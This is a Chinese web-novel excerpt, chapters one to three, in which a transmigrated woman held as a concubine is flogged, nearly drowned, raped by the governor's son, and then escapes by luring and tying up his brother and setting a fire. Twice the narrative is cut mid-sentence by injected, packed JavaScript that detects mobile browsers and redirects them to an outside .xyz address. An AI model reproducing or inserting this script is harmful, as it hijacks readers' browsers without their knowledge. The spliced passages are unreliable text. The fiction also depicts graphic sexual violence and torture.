《从逃妾到开国女帝》 1. 第一章 逼纳 江南三月,烟雨蒙蒙,花红柳绿时节。 北地的连天烽火席卷不到长江以南,镇海军节度使府,院中桃杏竞相吐出芳菲。满庭春意中,却透着一股不甚明显的血腥气。 只见江南庭院的扶疏花木间摆着一条长凳,两个膀大腰圆的婆子摁着一道纤瘦身影趴在凳上。 一旁站着个老嬷嬷,三两下扒了凳上那人外衫,露出雪白粉嫩的后背。她手提藤鞭,高举重落,“啪”一声脆响,保养精细的白嫩肌肤上留下一道鲜红印痕。 “咱们节度使府不比馆阁窑子,行止起卧自有规矩。若有那心思轻浮的,以为仗着主子宠爱便能放肆僭越,那就是自己寻死!” “啪”,一鞭。 “按照惯例,擅自出逃的下贱婢妾,活活打死都是轻的。但夫人心善,大郎君仁德,不要姑娘的性命,只罚三十鞭子,小惩大诫。” 又是一鞭,一道血,一层皮。 “大郎君瞧上姑娘,是姑娘的福气。不然,似你这般出身低贱的楚馆女子,连咱们节度使府的门都进不了。” “姑娘倒好,全不惜福,竟敢私下逃走,枉费了大郎君在咱们夫人跟前求了半日的苦心。” “终究是花街贱地养出来的人,不知规矩,不懂感恩!” 三鞭落下,那细嫩的后背已然鲜血淋漓,不成人样。 一旁有仆妇看得不像,再一瞧,那挨打的女子面色苍白气息孱弱,遂凑到老嬷嬷耳畔低声道:“差不多行了,毕竟是大郎君的人,万一日后得宠呢?” 老嬷嬷藤鞭顿住,板着一张严明无情的脸:“姑娘,可知道错了?” 三月的春风极为和暖,拂过枝头时有细微的沙沙声。阳光照不到的庭院一角却是冷寂如冰,亦是森寒如冰。 “知错?” 被摁在凳上的女子分明没有抗争之力,却咬牙拧过头,蓬乱鬓发下掩着半张脸,虽是面无血色,却将满庭春光压得黯淡下去。 “你们大郎君强抢民女、逼人做妾,还问我知不知错?”她嘶声冷笑,“这就是节度使府的好教养,好规矩!” 老嬷嬷见过的世面不少,却从未听过这等大逆不道之语,当下倒抽一口凉气。 手底越发不容情面,连着十鞭毫无喘息间隔地落下,险些将那女子笞得一口气厥过去。 “就凭姑娘方才那话,合该拔了舌头拖去乱葬岗,”老嬷嬷冷着脸,“怪道郎君总说,姑娘出身风尘、下贱轻浮,再不好好调教着,也不知有几条命去填你这张利口。” 言罢,最后十鞭落下,那纤瘦身影一阵耸颤,好似风中即将折去的柔弱花枝。 却终是挺直了脊背,宁死不肯服软。 老嬷嬷跟在正室夫人身边,调教过的婢妾没有一百也有八十,何曾见过这等执拗强硬的脾性? 只是三十鞭已尽,不好再打,遂冷冷道:“拖回院里,告诉伺候的人,再有下回,一并打死!” *** 偏院厢房开了又关,一道纤瘦身影破麻袋似地丢了进去。 崔芜伏在阴冷潮湿的地板上,只觉那阴暗处的湿气化作无数把小刀,钻进骨头缝里拼命搅动。 比湿气侵体更痛的,是刚受过鞭笞的后背。伤口被冷汗浸透,似有千百根钢针在血肉里乱扎乱刺,那滋味别提有多酸爽。 实在受不住,她顶着一副花容月貌,开口却是一句极粗俗的:“狗娘养的!” 国骂出口,心中怨气也发泄了不少。崔芜攒够力气,几乎是一步一爬,强撑着将自己挪到床上。 投入锦绣丛中的一刻,她受刑时绷得极紧的脊梁骨瘫软下来,放任思绪空白片刻。 那些被乱世十年掩埋住的过往,就这么冲破心防翻涌上来。 她叫“崔芜”,不是身陷楚馆时的花名,而是另一个时空,她的本名。当然,过往十年,没人这么叫过她,她也从不去记那些充斥着柔媚脂粉气的艺名。 总归都不是她。 穿越网文常有,只是如崔芜这般开局拿到地狱副本的,并不多见。穿来当天,她贫苦半世的爹娘险险就要饿死,没奈何,拿亲生女儿换了半袋口粮,好歹续上一条性命。 入了花楼,受鸨母教养十年,姿容舞艺无不绝佳,性情更是温驯柔婉——当然,是装的。 谁也料不到,在挂牌前一日,她打昏看守角门的老婆子,一口气逃了出来。 却是刚离龙潭,又入虎穴。 竟然半途遇上镇海军节度使嫡长子,被他瞧入眼,硬逼着带回府中。 一开始,崔芜不是没想过虚以为蛇,将这姓孙的哄高兴了,哪一日说不准大发慈悲,将她放出府去。 后来发现,她想岔了,打从第一日将她掠回府中起,孙郎君——镇海军节度使之子孙彦,从没想过放她走。 竟是不管不顾,强摁着她要纳为妾室。 若崔芜是土生土长的乱世贫女,得了入节度使府为妾这么个归宿,大约只能认了。 可她偏偏不是。 现代灵魂自有傲气,认什么都行,就是不认命。 于是,她又逃了。 然后不出所料,被权倾吴越之地的节度使府抓了回来。 崔芜在极度的疲惫与疼痛中,回顾了自己堪称悲惨的前十七年生涯,正要昏昏沉沉地睡去,忽听耳畔传来一声冷哼。 她打了个激灵,猛地睁开眼。 只见房门不知何时被人推开,阳光长驱直入,却只照亮了身前一小片地方。逆光站着一道颀长身影,年岁约在弱冠上下,生得剑眉星目、气度从容。 正是镇海军节度使之长子,时任润州刺史,孙彦。 崔芜疲惫得很,更兼不想看到这张脸,在被褥中翻了个身,竟是拿后背对着孙彦。 以孙彦的身份,吴越地界无人敢违逆,谁知一时大意,险些在个出身风尘的婢妾身上栽了跟头。 如今见她挨了责罚,还不受教,竟敢背过身去,脸色越发阴沉:“起来说话!” 崔芜背上没一块好肉,动一动就疼,根本不屑搭理他。 孙彦接二连三受了冷遇,胸口郁气蒸腾而起。他箭步上前,却瞧见崔芜后颈处若隐若现的鞭痕,目光微闪,生出些许怜意。 “罢了,”他说,“这一遭且饶了你,再有下回,可不是二十鞭子能了事的。” 他贴着床沿坐下,抬手去扳那人肩头,一只苍白的手突然探出,再次拂开他的手。 孙彦一愣,脸色沉下:“还是这般不知好歹!” 回应他的是一记冷哼。 崔芜在枕上回过头,眉眼精致、风鬟雾鬓。再苍白的脸色也压不住初长成的艳质,如一轮冉冉升起的皎月,轻易便能吸引男人目光。 唯独一双眼睛冷亮桀骜,殊无寻常艳女的娇柔妩媚。 孙彦爱极这一双眼,也恨极这一双眼。他至今记得,当初深夜街巷,撞见这被打手追得无处逃遁的女子时,就因她抬头之际的一瞥惊艳,自己竟破天荒地将人带回府里,想着迎娶正妻后,给个妾室名分。 不曾想这女子表面温驯,背地里却谋算着逃跑,若非巡察护院机警,还真被她得了逞。 这事闹得有些大,惊动了主持中馈的孙夫人,当时就发下话来,赏了这不懂规矩的“小蹄子”三十鞭。 孙彦本待发作,想到这弱质女子刚挨了罚,又强压怒火:“母亲素来宽和,若非你使小性逃走,她也不会罚你。待我娶了正妻,自会纳你为妾,到时祭过祖宗、拿了文书,也省得你牛心左性,总想着……” 他话没说完,就被崔芜一声冷笑打断:“谁要给你当妾!” 孙彦先是愕然,继而愠怒。 昔日崔芜以女婢的名义随侍身侧时,虽不愿如其他女婢一般媚上逢迎,倒也还算温驯。谁知这回出逃被抓,不知是遭逢大变受了打击,还是脱身无望干脆破罐子破摔,居然一反常态,句句硬顶、字字针对。 崔芜:“谁爱当谁当,我绝不做这个狗屁妾室!” 孙彦大怒,恨不能一掌掴去,想到崔芜身上有伤,才硬生生按捺住:“不当妾室,你想做什么?秦楼楚馆出身的玩意儿,还想做刺史夫人不成!” 崔芜冷冷瞪着孙彦:“我宁可一世不嫁,也好过被你这种人恶心得隔夜饭都要呕出来!” 孙彦名为节度使之子,其父孙昭掌着江南最繁华的吴越之地,隐为这一带的土皇帝。四舍五入,他与皇太子也没什么分别。 这样的角色,如何能忍受这般羞辱?一时间,眼神冷到极致:“楚馆小女,不说自安卑贱,还敢妄论夫人之位?” “出身下贱的东西,果然不识抬举!” 这不是他们头一回争执,早在孙彦暗示欲纳崔芜为妾之际,崔芜就已明确表达了婉拒。 “身陷青楼,原是时运不济,但蝼蚁尚有自爱之心,小女不愿为人妾室,”彼时,崔芜跪在孙彦脚下,郑重叩首,“小女愿为奴为婢,只求报偿恩情之后,郎君能放我离去。” 孙彦的反应是捏住她下巴,端详着那张明艳面庞,半是轻蔑半是洞悉地一笑。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458107|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以退为进,聪明的伎俩,”他丢开手,漫不经心地转开眼,“只是凡事过犹不及。” “安分守己,自有你的前程,下去吧。” 他却不曾想,崔芜说不愿为妾,是真心实意,甚至切实付出了行动……还差一点成功! 仿佛两记大耳刮,啪啪抽在孙彦脸上。 叫他焉能不恨? 他恨,便要崔芜更恨,字字句句化作毒刃,直往崔芜心窝里捅。恨到极致,崔芜咬牙狞笑:“你做梦!” 反正撕破了脸,她索性破罐子破摔:“你若敢强我,总有一日,我定要你江东孙氏满门覆灭,一个不留!” 孙彦乍闻此等恶毒咒言,先是大怔,继而怒火上涌:“好,好得很!我倒要看看,一个玩意儿如何叫我满门覆灭!” 他气恼至极,一时也顾不得世家子的风度,径直钳了崔芜双手,将她摁在枕上。 “哧啦”一声,崔芜衣襟撕裂,露出半边赤裸肩头。 崔芜想都不想,偏头一口咬下。 她下了死力,犬齿切入虎口便再不松开,似要生生撕下一块肉来。鲜血瞬间涌出,又顺着嘴角缓缓流下。 孙彦痛怒交迸,反手一耳光甩去。 崔芜到底是个孱弱女子,哪禁得住武人掌力?整个人险些被抽飞出去,耳畔“嗡”一声,眼前奓开金花。 孙彦回过神,倒是生出些许歉疚,只是身份性情双重使然,不肯流露面上:“你若是想着激怒于我,便能被赶出去,那就是错了主意。待得少夫人进门,我自会纳了你。” “我有的是手段和耐心,纵然是匹难驯的烈马,亦有法子叫你俯首低头。” 这时,门外传来丫鬟的声音:“郎君,夫人请您过去。” 孙彦正好得了台阶:“我晚些再来瞧你。” 他迈步往外,一只脚堪堪迈过门槛,忽听脑后劲风凛冽,百忙中只来得及偏过头,一只瓷碗擦着鬓角飞过,砸了个粉粉碎。 孙彦回头,正对上崔芜怒火灼烧的眼:“滚!” 孙彦捏紧拳头,只听得身后婢女连声催促:“郎君,夫人还等着呢。” 孙彦脸色阴晦不定,终于冷哼一声,转身离去。 *** 碍眼的人走了,崔芜总算能安心睡上一觉。 可惜没睡多久,就被“砰”一声巨响震醒——这回闯进来的可不是什么嬷嬷婆子,而是精悍亲兵,毫不怜香惜玉地拖起崔芜,押到院子里。 崔芜:“……” 这他娘的还有完没完! 服侍的婢女赶紧上前阻拦,口中赔笑道:“几位大人,我家姑娘是大郎君要的人,没大郎君吩咐,任何人不得……” 话没说完,已被为首的亲兵冷冷打断:“我等奉节度使大人谕令行事,胆敢阻拦者,格杀勿论。” 婢女脸色苍白,犹豫地看一眼崔芜,到底不愿搭上自己小命,默默退至一旁。 亲兵的力气与寻常仆妇不可同日而语,崔芜被押跪在地,只觉肩膀生痛,关节都要拧断了。 一盆清水摆在她面前,亲兵揪住崔芜发髻,将她往盆里摁去。 崔芜突然意识到他们要做什么,求生欲望占据上风,不顾一切地挣扎起来。 然而她身上有伤,如何能与训练有素的亲兵抗衡? 被押着浸入水盆,清水疯狂涌入口鼻,气道与肺叶好似被火烧灼般剧痛,她在无意识的挣扎中抠断了十根保养精细的指甲。 又或者,她其实根本不必挣扎? 这十年来,她多少次想过放弃自己的生命,幻想只要在异世死去,就能回到自己的来处。 只是每一次都没能扛住与生俱来的对死亡的恐惧,在最后一刻放弃了。 如今有人愿意帮她这个忙,替她结束这噩梦般的一生,不是一件好事吗? 这么想着,挣扎渐次弱下,她甚至主动地、欢欣鼓舞地,将清水吸入肺脏。 就在她一只脚堪堪踩入鬼门关的瞬间,压住肩头的力量突然松了。有人将她从水盆里捞出,一只极有力的手掌摁住肚腹,将肺脏里的水压出。 一股股水流自口鼻中涌出,崔芜连呛带咳,身体不自觉地蜷成一团,瞳孔蒙着一层模糊的泪膜。 她挣扎着抬起头,透过那层泪花,依稀看见一道颀长鹤立的身形。 拖出深重狭长的暗影,将崔芜孱弱颤抖的身体笼罩其中。 陷入黑暗前的最后一丝意识,她闻到一股特殊的气味,悠远而野性,仿佛西北关外浩瀚无垠的黄沙大漠。 2. 第二章 借力 崔芜不知自己昏迷了多久,醒来时,人已躺在锦绣丛生的罗汉床上。 床边坐着一道身形,面容阴鸷、眼神森然,正是孙彦。 眼看崔芜醒了,他冷哼一声:“醒了就起来,我有话问你。” 崔芜不答,只盯着孔雀纱罗床帐上绵绵密密的图案,金银细丝绣出寓意多子的石榴,像一个豁牙咧嘴的讽刺。 孙彦见她不说话,脸色越发阴沉:“倒是命大。这些年,父亲下令处置了不少不懂事的婢妾,能从他手里捡回命的,你还是第一个。” 这话让崔芜凝聚起少许神智,想起昏迷前看见的那道身影,眸子黑沉。 她知道孙彦正观察着自己,稍露破绽就会被抓住把柄,索性做出冷淡厌倦的神色:“你到底想说什么?” 孙彦却是不动声色地松了口气,心道:总算开口了。 “我听说消息赶来时,其实已经迟了。谁知进了院子,发现从亲兵到婆子,都被人打晕在地,”他说,“我倒是想问问你,从哪请来的帮手?这样好的本事,连我节度使府都能来去自如。” 崔芜刚醒,人倦得很,懒怠与他多说话,只道:“我若有这个能耐,早想法子逃出这鬼地方,还能被你逮住?” 理是这个理没错,孙彦此问更多是在试探,并非当真怀疑她。 然而崔芜这般冷漠厌烦的口吻,好似孙府后院是什么刀山火海滚油锅,烫得叫人待不住脚。 孙彦听在耳中,不由戾气横生。 “我劝你早些熄了这心思,”他语气越发不善,“等正室夫人进门,我自会纳了你。” 崔芜语气比他还冷,仍是一句:“我不做妾。” 孙彦没曾想她性子如此倔强,吃了这许多责罚依然不改前言,忿恨道:“馆阁女子从来柔顺媚人,怎地养出你这般倔驴脾性?是你那鸨母太宽和了,还是我太纵着你了!” 崔芜冷笑:“是啊,我就是头倔驴,大郎君既然嫌弃,又何必给自己找不痛快?” 孙彦沉下眉眼:“想激我逐你出府门?做梦!你这辈子生是我孙家的人,死亦是我孙家的鬼。” 崔芜怒到极致,反而冷静下来:“我就是我,身体发肤、所思所想,皆由自己主宰。终此一生,你都休想染指分毫!” 孙彦气得浑身乱颤,突然面露森然:“好一个休想染指分毫!今晚我便要你知道,你到底是谁的人!” 他仗着孔武有力,将崔芜摁在枕上,“嗤啦”一声,新换的衣裳再次撕裂,从肩头干脆剥落。 崔芜脸色惨白,紧咬的嘴唇渗出一线血痕。 两侧床帐随即扯落,沉重的紫檀木架子床微微颤晃。 这不是第一回。 若说乱世人命比草卑贱,那女子就是卑贱中的卑贱。她们是玩意儿、是摆件儿、是所有物和附属品,处置不需要征求本人意见。 于土著女子而言,肌肤之亲足以缔造男女间最亲密的关系,建立无法拆分的联系。但是对崔芜来说,这个论调显然不成立。 有谁会因为被恶犬咬了口,就对野狗情根深种、无法自拔? 另一边,孙彦泻了心头憋闷数日的郁火,起身时格外心满意足。他穿戴好衣袍,正要束上玉带,忽然心有所动,转身吩咐道:“替我束好腰带。” 崔芜懒得搭理他,裹在被中翻了个身。 孙彦先是愕然,继而恼火,待要发作,门外却传来急促的脚步声,有人低声道:“郎君,大人传召。” 孙彦脸色阴晴不定,想着要将人心甘情愿地拴在身边,总得用些怀柔手段,于是道:“罢了,你且歇息,我忙完了再来瞧你。” 知父莫若子,没人比孙彦更清楚自己父亲的杀伐手段,若不能说服这位坐镇吴越的镇海军节度使,崔芜这条捡回的小命随时可能再次弄丢。 是以匆匆去了。 崔芜身心俱疲,连眼睛都不想睁,耳听得孙彦走出门去,她非但没觉得放松,反而从胸臆深处涌上一腔烦闷,猛地扑到床沿,嘶声干呕起来。 她身份尴尬,所处院落更是偏僻,除了门口看守的下仆,平日里鲜少有人出入。这一番动静并未惊动婢女,更不用指望有人进来探视,崔芜只能撑着虚透的身子,慢慢挪到案前,给自己倒了碗茶。 入口才发现,是冷的。 崔芜渴得嗓子冒烟,明知饮食生冷无益,还是将冷茶一口气喝完。 忽听门外传来脚步声,压得极轻,却没逃过崔芜耳朵。 这不是丫鬟仆婢的脚步,女婢们走不出这样大的步子。也不是府中亲卫,盖因他们的脚步声重得多。 崔芜心念微动,猛地拉开门。 下一瞬,她和一个黑衣蒙面的陌生男人目光相遇。 *** 半刻钟后,走廊上再次传来脚步声,这一回粗重得多,也杂乱得多。 是府中巡值的亲兵。 自从孙昭派人赐死崔芜,孙彦得了教训,将院中仆婢换作得用的亲卫,既是监视,亦是保护。 为首之人是孙彦身边第一得力的亲随,名叫寒汀。他大约是得了孙彦嘱咐,抬腿踹门毫无顾虑,进屋后第一时间环顾周遭,没发现可疑身影,这才微微松了口气。 “芳荃姑娘,”他对床上的崔芜抱拳,视线谨慎地盯着鞋尖,“冒犯了。” 崔芜像是刚睡醒,裹着被子坐起身,反感地皱了皱眉。 她在青楼时的花名是“紫鸢”,孙彦嫌俗气,改成了芳荃,意为香草。 就好像草比花儿更高贵似的。 “方才有只野猫闹事,郎君吩咐咱们驱走,莫要惊扰姑娘,”寒汀很客气,“姑娘可曾听见异响?” “有啊,”崔芜答得干脆,“你方才踹门的动静那么大,我又不是聋子,当然听得见。” 寒汀噎了片刻:“那姑娘可曾见到可疑之人?” 崔芜不耐:“你找的到底是人还是猫?” 寒汀被她连怼两回,想起自家郎君虎口处那道入肉三分的齿痕,心说:这女子真是又悍又利,也不知自家郎君看上了她什么。 他定了定神,复述孙彦的吩咐:“郎君吩咐,这院子太过冷僻,不宜养伤,为您重新安排了居所,还请姑娘收拾东西,准备移步。” 崔芜像是倦得厉害,懒懒倚在床头,眼睛都睁不开:“我在这儿待得挺好,不想折腾。” 寒汀嘴上客气,却不容质疑:“郎君有命,请姑娘挪步。” 崔芜逃跑失败,又连两遭折腾,连折辱带刑囚,早就憋了一腔邪火。 如今得了发泄的出口,索性将被褥掀开:“我说了,不走,你听不懂人话吗!” 寒汀抬眸:“郎君的脾气,姑娘是知道的,莫要……” 话音戛然而止,他看清了崔芜此刻形容,瞳孔因震惊而剧烈收缩。 月白色的杭绸抱腹遮得住胸前风光,却掩不住脖颈肩头的柔白肌肤。 比曼妙身姿更叫人挪不开眼的,是她后背上的道道血痕,一路攀爬上脖颈,仿佛一双鲜血淋漓的手,狠狠掐住了脖颈。 “反正我今儿个累了,不打算挪动地方,”崔芜懒洋洋地支着脑袋,放任曼妙身姿暴露在一干护卫眼中,“诸位若执意勉强,就请将我抬出去吧。” 寒汀:“……” 眼前春光乍现,他却万万不敢窥视,忙不迭偏开头:“此、此事,属下做不了主,这就禀报郎君定夺。” 说完,逃也似地跑了。 崔芜没急着动,侧着耳朵听了会儿,确认寒汀去得远了,将里侧裹成一卷的毯子扒拉下:“人走了,放心吧。” 毯子滑落,露出黑衣男人罩着黑巾的面孔。 他动作利落地撑起身,谁知罗汉床空间有限,这么一起一坐,不可避免地与崔芜发生肢体蹭触。 而她现在外衫尽除,仅着一件抱腹。 柔腻的触感过电般掠过指尖,黑衣人身形微僵,不敢再有动作,甚至不敢细看,自己碰到的究竟是何处。 他挪开视线,低声说了句什么。 崔芜没留神,一时错过了:“你说什么?” “你……”黑衣人开口居然打了个磕绊,咳嗽两声才若无其事道,“你且将衣裳穿好。” 崔芜:“……” 她一边暗自嘀咕“都闯人闺房了,连这点阵仗都不敢瞧,”一边将衣裳粗粗拉好:“这样成了吧?” 黑衣人总算将头转了回来。 他动作飞快地掀被下床,转过身时,已然目光沉静。 “在下与姑娘素未谋面,”黑衣人说,“姑娘既是孙府中人,为何相助在下?” 崔芜奇怪:“明明是你先救的我,我不过还你一个人情,很意外吗?” 黑衣人:“……” 崔芜笑了笑:“孙昭将我赐死之际,有人打晕侍卫救了我一命。” “你以为我当时咳得睁不开眼,就认不出救命恩人吗?” 黑衣人沉默片刻,没问崔芜是怎么认出他的。 “既如此,在下与姑娘两不相欠,”他道,“姑娘保重。” 说完,转身要走。 谁知崔芜另有打算,在他抬腿前先发制人:“不管你潜入孙府有何意图,我能帮你。” 黑衣人脚步顿住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458108|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔芜原本只有三分把握,见他反应,又添了两成:“此地是节度使府,不存在认错路的可能,不请自来,不是行刺就是盗宝。节度使府守卫森严,单你一人,险阻重重,如果有人相助,则事半功倍。” 黑衣人思忖片刻,转过头来。 “所以呢?” 崔芜:“你也看到了,孙昭要我性命,我跟他们可不是一路人。既如此,何不互帮互助,各取所需?” 她要将主动权握在手里,不给对方沉吟质疑的机会,一口气把话说完:“不管行刺还是盗宝,都得找对地方,你的目标是哪?正院、库房,还是书房?” 黑衣人起先不答,听到最后一处地点,倏尔眯眼。 崔芜多年青楼生涯不是白熬的,只凭一个眼神就判断出,自己猜对了。 “原来你的目标是书房,”她倒了冷茶,用手指沾着,画出简易的示意图,“这是西偏院,这是正院,这是后花园……正院原也有个书房,不过是做样子看的,真正存放机要文卷的,是花园东首的小院子。” 黑衣人就算原本存疑,见她画出地形图,也不由凝肃了眼神。 “此地守卫外松内紧,除了明面上的护卫,还有蛰伏暗处的部曲,加起来不下二三十人,更有机关暗箭,触之即死,”崔芜说,“阁下能神不知鬼不觉地出现在我面前,身手想必不俗,但你只有一人,想同时避开守卫与机关,难度可不小。” 她说的有理有据,黑衣人听进去了:“你有法子?” 崔芜敢开口,便是在心里做了全盘推算:“先告诉我,你到底要找什么?” 她几乎已经确定,黑衣人不是为行刺而来,否则他要刨根究底的就不是书房所在,而是孙家父子的行踪。 黑衣人沉默不语,显然还没完全相信她。 崔芜想了想,要他对一个刚认识没多久的人付诸信任,确实有点强人所难。事实上,她也无法完全肯定对方值得合作,只是她没有选择。 孙家父子执掌镇海军,于江浙一带只手遮天,单凭崔芜自己,想逃出节度使府千难万难,只能借助外力。 “好吧,你不信我,我不勉强,”思忖再三,崔芜主动让了一步,“不管你想找什么,我都可以帮你进入书房,但我有个条件。” 这一回,黑衣人终于有了反应:“什么条件?” 崔芜铺垫了这么多,等的就是这一句:“帮我离开润州城!你能潜入节度使府,应该有法子吧?” 这个条件不算简单,黑衣人再次沉默。 崔芜心中火烧火燎,脸上却不露分毫,一只白如羊脂的手抵住窗板,就听本已远去的脚步声再次挨近。她扬起下巴,半是挑衅半是催促地扬了扬眉:时间有限,考虑好了吗? 黑衣人没有太多选择,飞快权衡过,下定决断:“可以。” 崔芜却没这么好糊弄,将莹白掌心伸过去。 黑衣人皱眉看着她。 崔芜理直气壮:“口说无凭,信物为证。” 黑衣人没想到这个看似娇柔的小女子这般难缠,略作思忖,将匕首还入鞘中,一并递过。 “你打算怎么做?” 崔芜眼波流转:“简单,烦请郎君替我传封信。” 她捡了张嵌入花瓣的绯红笺纸,提笔写下两句话:“从我这偏院出去,往东走一射之地,是一处名叫‘松涛斋’的院子。郎君只需避开守卫,将信留在桌案上即可。” 松涛斋是什么地方? 那是孙昭次子,孙彦同胞兄弟孙景的居所。 信笺上并无他语,只有两句前朝诗句:自有春愁正断魂,不堪芳草思王孙。 情意绵绵,应时应景,衬着清婉秀丽的簪花小楷,以及绯红笺纸上若有似无的幽香,几能叫人醉倒。 黑衣人有点明白她想干什么了。 “镇海军节度使之子,自小耳濡目染,怕是没那么容易上当,”他沉声道,“若姑娘的计策不奏效,又当如何?” 崔芜嫣然一笑:“先试试。总归没坏处,不奏效再想别的辙。” 黑衣人定定瞧了她片刻,闪身离去。 试试的结果……自然是管用的。 一刻钟后,院门口传来骚动声,依稀是看守崔芜的侍卫在拦人。然而闯关的这位是个纨绔性子,被拦后非但不肯知难而退,反而和亲卫杠上了。 “郎君有命?我不姓孙?我不是孙家郎君?怎么我在自己家,还有地方不能去!” “都给我让开!今儿个谁敢拦我,我打断他的腿!” 屋里的崔芜听着动静,嘴角浮起一丝极微妙的笑意。 事成了! 3. 第三章 有孕 崔芜的计策很简单,概括起来就四个字——调虎离山。 孙景是孙夫人幼子,却比难产的长子更得主母宠爱。侍卫们不敢认真阻拦,被他轻易闯进屋。 只见墙角纱帘后站着一道人影,孙景还以为是崔芜,哈喇子好悬流出来。 “美人,是你给我留的字笺吧?”他涎着脸上前,“不堪芳草思王孙……啧啧,我都不知道,你对本郎君用情居然如此之深。” “依我说,我那大哥也没什么好的,你不如随我去见母亲,从此过了明路,当我屋里人。我保证比大哥更疼你……” 说话间,他已摸到墙角,正要伸手揭帘,忽而察觉不对:“你、你不是……” 话没说完,一只手闪电般探出,猝不及防地敲上他后颈。 孙景连惊叫都来不及,翻了个惊恐不定的白眼,软绵绵地倒在地上。 纱帘分开,走出一道颀长身影,正是那黑衣人。 与此同时,崔芜也从藏身处闪出,眼疾手快地带上门闩。 黑衣人:“你怎知孙景见了字笺,一定会来?” 崔芜抿起唇角。 她怎会不知? 打从孙景头一回见她,一双眼珠就黏她身上没撕下来过。后来几回偶遇,哪一次不是扯着她衣袖,涎皮赖脸地说了好半晌的浑话? 有一回还被孙彦撞着,看出孙景那点上不得台面的心思,当即生出一腔邪火。不好对亲弟弟发作,就拿崔芜出气,寻了个由头,杖了她五棍。 “旁人且罢了,孙景却是被他亲兄长压了这许多年,心里早憋着一股火气,”崔芜说,“他的心思不是一两天,如今能得偿所愿,还可以下下兄长颜面,有何不愿?” “左右,我不过是个身份低贱的玩意儿,孙彦还能为了个‘玩意儿’,惩治自己亲弟弟不成?” 那话里的自嘲意味浓烈到想忽略都难,黑衣人目光微闪,却未开口。 他扯下床幔,撕成布条,将孙景结结实实地捆在胡床上。 又把这位孙二郎君的嘴堵严封实,确保他就算醒了也无法张口呼救。 “接下来怎么做?” 崔芜意味深长:“我若是郎君,现在就去书房院外候着,等待时机。” 黑衣人微微眯眼:“你想用孙景做文章?孙昭毕竟是一地节度使,未必会让你如愿。” 崔芜哂笑:“谁要跟姓孙的谈条件了?” 黑衣人凝眸看来。 只见崔芜笑意欢悦,从案上端过烧了大半的烛台,随手甩上床榻。烛火舔舐着纱幔与蜀锦被褥,方才锦绣丛生的罗汉床,转瞬烧成了滚滚熔炉。 黑衣人愕然:“你做什么?” 崔芜弯落眉眼。 那一刻,压抑许久的隐忍阴霾一扫而空,她扬眉轻笑,艳色迫人目光犀利:“要紧的不是我做什么,而是郎君该做什么。” “只要有人将孙二郎君身陷火场的消息散播出去,府中守卫不敢不救。而巧的是,那间书房离这儿近得很,赶来不过半盏茶功夫。” “接下来该怎么做,不用我教你了吧?” 她抱胸倚着墙角,身后烈火几能烧化眼球,那样熊熊烈烈的光映照在她侧脸上,却不能让那女子眼神变热分毫。 黑衣人不再多言,回身拍开窗扉,极利落地闪身而出。 下一瞬,院中响起女婢惶急的惊呼:“快来人!走水了,走水了!” 崔芜快步抢到窗前,“啪”一下合上窗板,从里头上了栓。 与此同时,被打晕的孙景在高温与浓烟的双重夹击下清醒过来。看清自身处境,他神色惊恐,下意识挣扎呼救,奈何布条捆得太牢,除了连着胡床一起摔在地上,并没取得任何效过。 被浓烟遮蔽的视野中出现一角裙摆,崔芜蹲下身,低头端详着他。 孙景脸上又是汗又是泪,拼命想求饶,被堵住的口中却只发出含混的“呜呜”声。 “你兄长囚我自由、辱我尊严。你父亲想要我的命,当我是一只随手就能碾死的蚂蚁。” 崔芜轻言细语:“但是孙二郎君,蝼蚁咬人,也是会痛的。” 身后是滚滚烈焰,她轻掠云鬓,笑容明艳,分明是见惯的云鬓花颜,孙景心头却没来由泛起寒意。 他一个没忍住,□□涌出热流,竟是生生吓尿了。 *** 片刻后,阖府上下的仆婢亲卫都被惊动,拎起水桶水盆,往同一个目的地奔去。 与此同时,崔芜取出孙景封口的布条。得了自由的孙二郎君顾不得形象,翻滚着朝门口爬去,声嘶力竭地呼救道:“快来人!我在里头!快,快救我!” 外头的人听着自家郎君动静,焉有不奋力救人的道理?火势虽猛,却架不住有人拿命博富贵,硬是将反锁的房门撞开一道窟窿,将身陷火海的孙景抢了出去。 崔芜冷眼瞧着,并未阻止。 她的目的从来不是取孙景性命,而是配合黑衣人引开孙府守卫。按说计划执行到这一步,已然大获成功,她大可以跟着一起逃离火海,等着黑衣人履行承诺回头接应。 但不知怎地,烈焰焚身、热浪逼人,崔芜却莫名生出一丝眷恋之心,站在原地没动。 “如果,”她忍不住想,“如果死在这里,就能回到原来的时空,也没什么不好。” 这个念头刚一冒出,就以蔓草丛生之势占据心头,令她迈不动腿脚。 直到一抹矫健身影分开浓烟,不顾一切地闯进火海,将她硬拖了出去。 “你不要命了!” 那声音再熟悉不过,只是没了昔日从容,显露出几分气急败坏。 崔芜吸入大量浓烟,此际正值头晕目眩、喉咙灼痛,其实相当不好过。然而她直定定地看着孙彦,目光沉静,不言不语。 孙彦见她脸色苍白、眼角泛红,只当她吓傻了:“芳荃?” 心头生出怜惜,他伸手欲拂去她脸上黑灰。 崔芜却反应极快地后退半步,刚好避开他的举动。 孙彦脸色微沉。 “我或许是不要命,”崔芜语气嘶哑,却一字一顿:“但是孙郎君,请你记住,我就算不要性命,也得从你们身上撕块肉下来!” 孙彦瞳孔骤凝,以他的城府,都被这话中冷意惊得一跳。 *** 